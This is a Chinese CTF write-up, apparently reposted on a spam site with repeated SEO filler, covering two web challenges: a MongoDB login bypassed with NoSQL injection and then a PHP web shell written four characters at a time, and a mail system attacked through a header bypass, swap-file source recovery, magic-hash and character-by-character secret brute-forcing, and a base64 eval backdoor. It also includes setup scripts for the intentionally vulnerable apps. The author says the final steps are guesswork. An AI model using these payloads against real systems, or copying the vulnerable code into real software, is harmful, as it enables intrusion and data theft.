点击此处查看最新的网赚项目教程

管理系统crm_管理系统1921681_管理系统192.168.31.1

然后在robots.txt里面能看到一个nosql.php,然后这里就会给出第一个flag,因为是自己模拟就不写flag了

管理系统1921681_管理系统192.168.31.1_管理系统crm

来到nosql.php之后会发现是一个登入页面

管理系统192.168.31.1_管理系统crm_管理系统1921681

随便输一个账号密码登入失败

管理系统crm_管理系统1921681_管理系统192.168.31.1

MongoDB 与 RDBMS Where 语句的比较

操作格式范例RDBMS 中的类似语句

等于

{:}

db.love.find({“name”:”whoami”}).pretty()

where name = ‘whoami’

小于

{:{$lt:}}

db.love.find({“age”:{$lt:19}}).pretty()

where age < 19

小于或等于

{:{$lte:}}

db.love.find({“age”:{$lte:19}}).pretty()

where likes 19

大于或等于

{:{$gte:}}

db.love.find({“age”:{$gte:19}}).pretty()

where likes >= 19

不等于

{:{$ne:}}

db.love.find({“age”:{$ne:19}}).pretty()

where likes != 19

这里随便选一个我这里就选$gt也就是大于,大于某个数的值会被列出

nosql.php?username[$gt]=&password[$gt]=

可以看到这里列出了所有的用户名密码,然后在这里就会得到此题的第二个flag

管理系统crm_管理系统1921681_管理系统192.168.31.1

查看源代码可以发现页面给了两个参数提示一个o一个hint


管理系统1921681_管理系统192.168.31.1_管理系统crm

尝试传入o跟hint,可以发现我们传入的被写入跟执行了

管理系统crm_管理系统192.168.31.1_管理系统1921681

o是要写入的位置,然后hint是写入的内容最多4个字符

管理系统crm_管理系统192.168.31.1_管理系统1921681

那么这里写个shell进去,每写4个字符o都+4

o=1
hint=<?=

o=5
hint=syst

o=9
hint=em($

o=13
hint=_GET

o=17
hint=[1])

o=21
hint=;//

到此就写入了一个shell

管理系统crm_管理系统192.168.31.1_管理系统1921681

执行一下ls,然后cat 一下/flag即可得到第三个flag

管理系统192.168.31.1_管理系统1921681_管理系统crm

nosql注入可以参考

2.2 环境搭建过程2.2.1 mongodb

首先pull mongodb 镜像

docker pull mongo:latest

然后启动mongodb ,注意这里启动的是没有需认证的

docker run --name mongodb -d -p 27017:27017 mongo

管理系统1921681_管理系统crm_管理系统192.168.31.1

然后进入容器

docker exec -it mongodb /bin/mongosh

MongoDB 中选中 test 数据库,创建一个 users 集合并插入文档数据

use test
db.createCollection('users')
db.users.insert({username: 'mo60', password: '123456'})
db.users.insert({username: 'Juneha', password: '624522'})
db.users.insert({username: 'Jack', password: '468052'})
db.users.insert({username: '06om', password: '965379'})

管理系统192.168.31.1_管理系统1921681_管理系统crm

2.2.2 php

这里pull一下php的镜像

docker pull bigtruedata/php-mongodb

然后启动容器

docker run -itd --name php-mongodb -v  ./php-www:/var/www/html -p 80:80  bigtruedata/php-mongodb

然后进入当前目录下的php-www目录,创建.sh文件内容如下运行即可生成所需文件,到此环境搭建过程结束

管理系统crm_管理系统1921681_管理系统192.168.31.1

#!/bin/bash

read -p "请输入 MongoDB IP 地址: " mongodb_ip
if [[ ! $mongodb_ip =~ ^[0-9]+.[0-9]+.[0-9]+.[0-9]+$ ]]; then
echo "没有效的 IP 地址!请重新运行脚本,并输入有效的 IP 地址。"
exit 1
fi
robots_content="User-agent: *nDisallow: /nosql.php"
log_content=""
php_content="


登录

body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
margin: 0;
padding: 0;
}
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.card {
width: 450px;
padding: 20px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
background-color: #fff;
}
.card h2 {
text-align: center;
color: #333;
margin-bottom: 20px;
}
.card table {
width: 100%;
border-collapse: collapse;
margin-bottom: 20px;
}
.card table td {
padding: 10px;
border: 1px solid #ccc;
font-size: 14px;
}
.card form input[type="text"],
.card form input[type="password"] {
width: 97%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ccc;
border-radius: 3px;
font-size: 14px;
}
.card form button {
width: 100%;
padding: 10px;
border: none;
background-color: #4CAF50;
color: #fff;
font-size: 14px;
cursor: pointer;
}
.card form button:hover {
background-color: #45a049;
}






<?php
if (isset($_REQUEST['username']) && isset($_REQUEST['password'])) {
$manager = new MongoDBDriverManager("mongodb://$mongodb_ip:27017");
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];

$query = new MongoDBDriverQuery(array(
'username' => $username,
'password' => $password
));

$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);

if ($count > 0) {
echo '

用户信息

';
echo '';

foreach ($result as $user) {
$user = ((array)$user);
echo '';
echo '';
}

echo '
用户名:' . $user['username'] . '
密码:' . $user['password'] . '
';
$o = intval($_GET['o']);
$hint = substr($_POST['hint'], 0, 4);
$file = 'nosql.log';

if (!empty($o) && !empty($hint)) {
$contents = file_get_contents($file);
$part1 = substr($contents, 0, $o);
$part2 = substr($contents, $o + strlen($hint));
$newContents = $part1 . $hint . $part2;
file_put_contents($file, $newContents);
}

if (file_exists($file)) {
echo file_get_contents($file);
include $file;
}
} else {
echo 'Login Failed';
}
} else {
echo '

登录

';
echo '';
echo '
';
echo '
';
echo '';
echo '';
}
?>




"
html_content="



人力资源管理系统

body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f2f2f2;
}

h1 {
text-align: center;
}

.container {
max-width: 600px;
margin: 0 auto;
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}

p {
line-height: 1.5;
}




欢迎来到人力资源管理系统!




"
echo "https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html"
echo -e "$robots_content" > robots.txt

if [ -e robots.txt ]; then
echo "robots.txt 写入成功!"
else
echo "robots.txt 写入失败!"
fi

echo "$log_content" > nosql.log

if [ -e nosql.log ]; then
echo "nosql.log 写入成功!"
chmod 777 nosql.log
else
echo "nosql.log 写入失败!"
fi

echo -e "$html_content" > index.html

if [ -e index.html ]; then
echo "index.html 写入成功!"
else
echo "index.html 写入失败!"
fi

echo "$php_content" > nosql.php

if [ -e nosql.php ]; then
echo "nosql.php 写入成功!"
else
echo "nosql.php 写入失败!"
fi

0x03 邮件管理系统3.1 复盘解析

直接访问页面会跳401未授权,这里我试了XFF头啥的绕过没有果

管理系统1921681_管理系统192.168.31.1_管理系统crm

然后查看一下robots.txt发现提示了 weblogs_manage.php

管理系统192.168.31.1_管理系统1921681_管理系统crm

访问了一样跳401未授权,这里我就用了dirbuster的大目录字典扫出来一个emails

管理系统192.168.31.1_管理系统crm_管理系统1921681

访问发现可以目录遍历

管理系统crm_管理系统1921681_管理系统192.168.31.1

查看f1发现说因为编辑器备份文件泄露导致了安全漏洞

管理系统1921681_管理系统crm_管理系统192.168.31.1

这里就想到了vim编辑器那个,这里下载 .weblogs_manage.php.swp文件(其实一开始尝试下载这个就行但是我一开始没想到这里提示了我才想起来)

wget 192.168.31.148/.weblogs_manage.php.swp

然后新建一个weblogs_manage.php在vim编辑按R恢复

touch weblogs_manage.php
vim weblogs_manage.php
R

即可成功恢复源码

管理系统192.168.31.1_管理系统crm_管理系统1921681

这里主要代码是

<?php
error_reporting(0);
if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){
header("Location: template/401.html");
exit();
}
$key1=$_REQUEST['key1'];
if(!empty($key1)){
require_once 'next.php';
if(md5($key1)=="0e230420452993424058024229903331"){
$key2=$_REQUEST['key2'];
if(!empty($key2)){
for($i=0;$i<strlen($key2);$i++){

$o=ord($key2[$i])^ord('o');

if($o=="95" || $o=="32"){
if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){
$key3=$_REQUEST['key3'];
if(!empty($key3)){
if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){
if($key3==$SECRET){
die($next); // log
}
}else{
die("CODE: 3 Error!");
}
}
}
}else{
die("CODE: 2 Error!");
}
}
}
}else{
die("CODE: 1 Error!");
}
}
?>

首先需要绕过这个401

if(@$_SERVER['HTTP_INTERNAL_AUTH']!=="10.10.10.1"){
header("Location: template/401.html");
exit();
}

只需要在请求的时候带上,这个一开始是看其他请求头的格式首字母大写然后_改-尝试出来的,这样即可绕过401

Internal-Auth: 10.10.10.1

管理系统1921681_管理系统192.168.31.1_管理系统crm

接下来需要传入$key1-3来绕过限制,这里来到第一个$key的限制,很明显是要一个md5加密后为0e的数字才能绕过

if(md5($key1)=="0e230420452993424058024229903331"

在比赛过程中没有网我也没有记这种特定的字符我就想到了拿php去跑一下试试看,还真的让我跑出来一个0e215962017

<?php
for($i=0;$i<9999999999999;$i++){
$r="0e".$i;
if(md5($r)=="0e230420452993424058024229903331"){
die($r);
}
}

管理系统192.168.31.1_管理系统crm_管理系统1921681

这里就成功过了第一个$key的限制

管理系统crm_管理系统192.168.31.1_管理系统1921681

第二个$key的限制比较麻烦,需要每一位^ord(‘o’)后等于95或者32

for($i=0;$i<strlen($key2);$i++){
$o=ord($key2[$i])^ord('o');
if($o=="95" || $o=="32"){
if(md5($key2)=="5bacf485801484d2ea1d0237782e6629"){xxxxx}
}

这里我先遍历了所有字符看什么字符^后等于95 32 得到0O

<?php
for($i=32;$i<133;$i++){
$o=$i^ord('o');
if($o=="95" || $o=="32"){
echo chr($i);
}
}

那么就是由0O组成的字符串md5加密后要等于5bacf485801484d2ea1d0237782e6629

管理系统192.168.31.1_管理系统1921681_管理系统crm

这里我的思路就是去生成字典,然后我就去翻kali的字典生成工具,因为以前用过然后就找到了crunch

管理系统192.168.31.1_管理系统1921681_管理系统crm

管理系统crm_管理系统192.168.31.1_管理系统1921681

直接生成1-16位 0O组成的字典

crunch 1 16 0O  > dict

管理系统1921681_管理系统192.168.31.1_管理系统crm

这里用php去遍历每一个值然后判断,这里要加trim不然结尾有空格会一直对不上,我在这里卡了1个多小时最后才发现是这个问题,运行后得到0O0OO0O0O0O0OOO0到这里第二个$key也过了

管理系统1921681_管理系统crm_管理系统192.168.31.1

<?php

$data=file('dict');

foreach($data as $k=>$v){
if(md5(trim($v))=="5bacf485801484d2ea1d0237782e6629"){
echo $v;
break;
}
}

?>

接下来就是有点难度的$key3,他这里的条件是需要我们传入的$key3等于他的$SECRET这里的$SECRET来自于上面的require_once ‘next.php’,其实原题不止这个条件有给出根据一个算法加密后的$SECRET我不记得那个算法了,我们当时也不是解出算法的方式获取$SECRET的这里就不在概述

if($key3>$SECRET || strlen($key3)>=strlen($SECRET)){
if($key3==$SECRET){
die($next); // log
}

这里其实可以忽略第二个条件也就是strlen的长度比较只需要看$key3>$SECRET这个条件,因为php里面两个字符串比较是一位一位比较的具体解释我这里用chatgpt的回答

当比较php中两个字符串变量key3和key3和SECRET的大小时,可以使用大于号(>)进行比较操作。具体流程如下:

1.获取变量key3和key3和SECRET的字符串值。
2.将这两个字符串按字典顺序逐个字符进行比较,直到找到第一个不同的字符为止。
3.如果key3中的当前字符的key
ASCII码大于key3中的当前字符的ASCII码大于SECRET中对应位置上的字符的ASCII码,则key3大于key3大于SECRET。
4.如果key3中的当前字符的keyASCII码小于key3中的当前字符的ASCII码小于SECRET中对应位置上的字符的ASCII码,则key3小于key3小于SECRET。
5.如果key3和key3和SECRET中的字符完全相同,则比较下一个字符。
6.如果其中一个字符串比另一个字符串短,则较短的字符串被认为是较小的。
7.如果两个字符串完全相同,则认为它们是相等的。
8.比较过程结束后,根据比较结果返回布尔值(true或false),表示key3是否大于key3是否大于SECRET。

也就是我们可以通过一位一位的比较来获取正确的SECRET,比如这里我们输入1提示CODE3错误

管理系统1921681_管理系统192.168.31.1_管理系统crm

输入2也错误输入3页面正常,那么得到第一位是2

管理系统192.168.31.1_管理系统1921681_管理系统crm

接下来可以用burp的Intruder模块来一位一位爆破出来,像这里爆破第一位字母有3个字母页面都为ture返回正常这里查一下ascii可以发现x是最小的x的前一位是w那么第五位就是w

管理系统192.168.31.1_管理系统1921681_管理系统crm

最终算出key3等于2023welc0me,传进去后得到一个txt地址/security_log_/log.txt

管理系统192.168.31.1_管理系统1921681_管理系统crm

访问日志是一大堆乱糟糟的日志

管理系统192.168.31.1_管理系统crm_管理系统1921681

注意!!我做到这里比赛结束了后面的内容是我自己想的,可能跟真实比赛有出入仅供参考

把日志下载到本地然后grep正则提取出访问的文件内容

grep -oP '(?<=POST|GET)sS+(?= HTTP)' log.txt

管理系统1921681_管理系统192.168.31.1_管理系统crm

然后burp批量访问一下通过aEahcEeh.php?oTGGW=zsqBtOR得到了flag-1

管理系统1921681_管理系统crm_管理系统192.168.31.1

然后paObZJkw.php?SjSMeB=wUWp发现是404但是是页面返回的是”There is nothing here.”猜测是被入侵后留下的shell

管理系统1921681_管理系统192.168.31.1_管理系统crm

这里最后通过测试发现传入base64的值即可执行代码

paObZJkw.php?SjSMeB=cGhwaW5mbygpOw==

管理系统1921681_管理系统192.168.31.1_管理系统crm

然后cat /flag 结束

3.2 环境搭建过程

先起一个php的容器

docker run -d -p 80:80 --name emails -v $(pwd)/mail-web:/var/www/app romeoz/docker-nginx-php:5.6

然后改一下nginx的配置文件设置成目录遍历

docker exec -it emails sed -i '/root /var/www/app;/a autoindex on;nautoindex_exact_size off;nautoindex_localtime on;' /etc/nginx/sites-enabled/app.conf

然后重新启动nginx

docker exec -it emails  nginx -s reload

管理系统crm_管理系统1921681_管理系统192.168.31.1

然后下载压缩包进入mail-web目录,解压压缩包环境就搭建完成啦

———END———
限 时 特 惠: 本站每日持续更新海量各大内部创业教程,一年会员只需98元,全站资源免费下载 点击查看详情
站 长 微 信: cai842612